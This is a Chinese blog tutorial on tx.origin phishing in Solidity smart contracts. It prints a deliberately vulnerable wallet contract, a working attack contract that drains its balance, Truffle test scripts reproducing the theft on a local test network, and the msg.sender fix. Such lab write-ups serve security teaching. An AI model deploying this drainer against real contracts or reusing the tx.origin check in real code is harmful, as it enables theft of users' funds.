钓鱼攻击 tx.origin
tx.origin
是 Solidity
中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin
返回交易的原始发送者,在本例中是授权帐户。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
问题分析
合约部署时将部署用户作为当前合约的owner
,并定义了transfer
方法,此方法需要传入一个转账用户地址 _to
和转账数量 _amount
。在第一行通过 require
并使用tx.origin
和owner
判断是否为部署用户,不是将抛出 "Not owner"
,第12
行 向_to
地址 转账 _amount
数量的虚拟币(call
为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"
。
这题主要问题在于在使用tx.origin
作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin
会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。
例如:
第一步
用户-A
:部署了 Wallet
合约;
攻击者-B
:部署了 钓鱼的恶意合约;
第二步
用户-A
:调用了 攻击者-B
恶意合约
第二步 分析
这个时候如果恶意合约调用了 用户-A
部署的 Wallet合约
,此时合约中的tx.origin
获取的地址为用户-A
的地址,并向_to
地址转账,并不会触发require
的判断,此时攻击者-B
只需要将_to
在攻击合约中定义为个人账户地址,此时用户-A
的用户余额已被转走。
攻击代码
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}
基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet
合约地址,并将个人地址保存在owner
中,在 用户-A
调用 Attack.attack()
方法时,攻击合约将会调用Wallet
合约的transfer
方法,传入攻击者的地址owner
和Wallet
合约账户的所剩余额。
攻击复现
执行步骤
{hide}
1、创建项目文件夹,并在文件夹中初始化truffle
项目
truffle init
2、将Wallet.sol
合约导入
3、在migrations
文件夹下创建合约迁移文件
const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
module.exports = async function(deployer,network,account){
// init Wallet to 1 ether , Attack init 0
// tips: Wallet initialization amount will be deducted from the ganache deployment account
await deployer.deploy(Wallet,{value:web3.utils.toWei("1","ether"),from:account[1]});
await deployer.deploy(Attack,Wallet.address,{value:0,from:account[0]});
}
这里部署Wallet
和Attack
合约,为Wallet
指定部署用户为account[1]
并为此合约初始化1 ether
的余额(这里的余额会从ganache
测试网络中的用户account[1]
扣除);为Attack指定部署用户为account[0]
。
4、在test
文件夹下编写测试代码
const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
let newWallet;
let newAttack;
contract("Test Wallet",async (address)=>{
it("Attack Wallet",async()=>{
// ================= 1 ========================
// deployed Walled -> deploy account is address[1]
newWallet = await Wallet.deployed();
// Attack Walled -> deploy account is address[0]
newAttack = await Attack.deployed(newWallet.address);
// ================= 2 ========================
// Attack and Walled init user
let deployedAttackUser = await web3.eth.getBalance(address[0]);
let deployedWalled = await web3.eth.getBalance(newWallet.address);
console.log("deployedAttackUser balance: ",deployedAttackUser.toString());
console.log("deployedWalled balance: ",deployedWalled.toString());
// ================= 3 ========================
// use account address[1] to run attack
// this address[1] and walled deployment users are consistent
await newAttack.attack({from:address[1]});
})
it("Attack check",async()=>{
let deployedAttackUser = await web3.eth.getBalance(address[0]);
let deployedWalled = await web3.eth.getBalance(newWallet.address);
console.log("Check deployedAttackUser balance: ",deployedAttackUser.toString());
console.log("Check deployedWalled balance: ",deployedWalled.toString());
});
})
这里写了个样例代码,步骤意思为:
1)部署两个合约,并将wallet
合约地址传给Attack
;
2)获取当前address[0]
攻击部署用户地址)下的余额和wallet
合约账户余额;
3)使用address[1]
(wallet
部署用户地址)访问Attack
合约;
4)检查address[0]
和wallet
合约账户余额;
5、运行truffle
测试
truffle test
结果
可以看到一开始攻击者账户中有 47024979010000000000
的余额,Wallet
合约账户中有10000000000000000000
,在执行完成后攻击者账户中多了10000000000000000000
的余额,而Wallet
合约账户中的余额已被清空,此时攻击成功,流程出来后写出标准的测试代码。
const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
contract("Test Wallet",async (address)=>{
it("Attack Wallet",async()=>{
newWallet = await Wallet.deployed();
newAttack = await Attack.deployed(newWallet.address);
await newAttack.attack({from:address[1]});
let deployedWalled = (await web3.eth.getBalance(newWallet.address)).toString();
assert.equal(deployedWalled , "0","Attack Failed");
})
})
通过代表执行攻击合约成功。
漏洞修补
将合约中的 tx.origin 替换为 sg.sender
修补过程
1、修改合约中的 tx.origin
替换为 msg.sender
2、执行测试
此时Attack
合约攻击被合约中的require
给阻止,自此合约修复完成。
项目文件
{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/3233401250.tar" radius="5px" content="项目下载"/}
参考文章
{card-list}
{card-list-item}
智能合约安全审计入门篇 —— Phishing with tx.origin | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
SWC-115 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{card-list-item}
solidity内置对象block、msg
{/card-list-item}
{/card-list}
{/hide}